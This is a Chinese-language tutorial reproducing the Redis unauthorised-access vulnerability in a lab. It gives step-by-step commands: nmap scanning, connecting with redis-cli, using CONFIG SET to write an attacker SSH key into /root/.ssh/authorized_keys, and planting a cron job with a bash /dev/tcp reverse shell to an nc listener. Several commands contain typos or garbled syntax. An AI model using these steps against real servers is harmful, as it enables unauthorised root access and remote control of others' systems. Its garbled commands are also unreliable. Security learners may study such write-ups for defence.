redis未授权访问漏洞复现
Redis是一个开源的key-value内存中的数据结构存储系统,可以用作缓存,或数据库,redis因为配置不当可以导致未授权访问,redis的默认端口是6379,并且redis默认配置没有密码认证,如果reids服务暴露在公网上会导致攻击者在未授权的情况下访问redis。如果redis以root身份运行,攻击者可以给root账号写入ssh公钥文件,通过ssh登录目标主机。下面是redis未授权访问漏洞的复现步骤
- 安装redis服务
wget http://download.redis.io/releases/**.*tar.gz 下载安装包 Tar -zxvf redis-***.tar.gz 解压安装包 Make 执行安装命令 |
2. 使用nmap扫描被攻击机
Nmap -p 6379 192.168.***.*** -A 启用操作系统和版本检测,脚本扫描和路由跟踪功能,我们可以使用NMAP的“-A“选项。 |
3. Nmap发现目标机器安装了redis的6397端口对外开发,就可以本地redis远程访问连接服务器,连接后可以获取redis敏感数据
./redis-cli -h 192.168.***.*** |
连接之后可以查看到目标机器的版本与服务器的内核版本信息,还可以看到redis配置文件的绝对路径
4. 在本地生成公钥私钥,同时将保存的shh公钥写入到目标机redis中
Ssh -****** -t rsa 生成ssh公钥私钥 (echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n” > 1.txt 将生成的公钥保存在1.txt中 |
5. 在reids中写入数据,将攻击机器的公钥作为value,key值随意,ssh公钥,获取操作系统的权限
Cat 1.txt | ./reids-cli -h 192.168.***.*** -x set k 把1.txt文件内容写入到目标主机的redis缓存中 -h参数指定远程reids服务器的IP地址,-x参数设置redis中的k的**值为1.txt ./redis-cli -h 192.168.56.103 连接到目标主机的redis Get k 查看s-key中的值 Config set dir /root/.ssh 更改redis备份路径为/root/.ssh(shh公钥存放目录) Config set dbfilename authorized_keys 设置上传公钥的备份文件名为authorized_keys Save 将数据(缓存里面刚才写入的1.txt数据)保存在服务器的硬盘上 Config get dir 查看redis碑文文件路径 Config get dbfilename 有没有这个文件 |
6. 这时就可以使用shh远程登录目标机器(这时可以不用密码远程登录到目标主机)
在/root/.ssh目录下就可以看到我们写入的文件
7. 也可以在crontab里写定时任务反弹shell
Nc -lvnp 4444 在攻击机上开启nc监听 -l 使用监听模式,管控传入的资料。-n 直接使用IP地址,而不通过域名服务器-v 显示指令执行过程。。-p<通信端口> 设置本地主机使用的通信端口。 ./redis-cli -h 192.168.56.103 连接redis set s "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.56.102/4444 0>&1\n\n" 写入反弹shell config set dir /var/spool/cron config set dbfilename root
|
然后就可以接收到目标及的反弹shell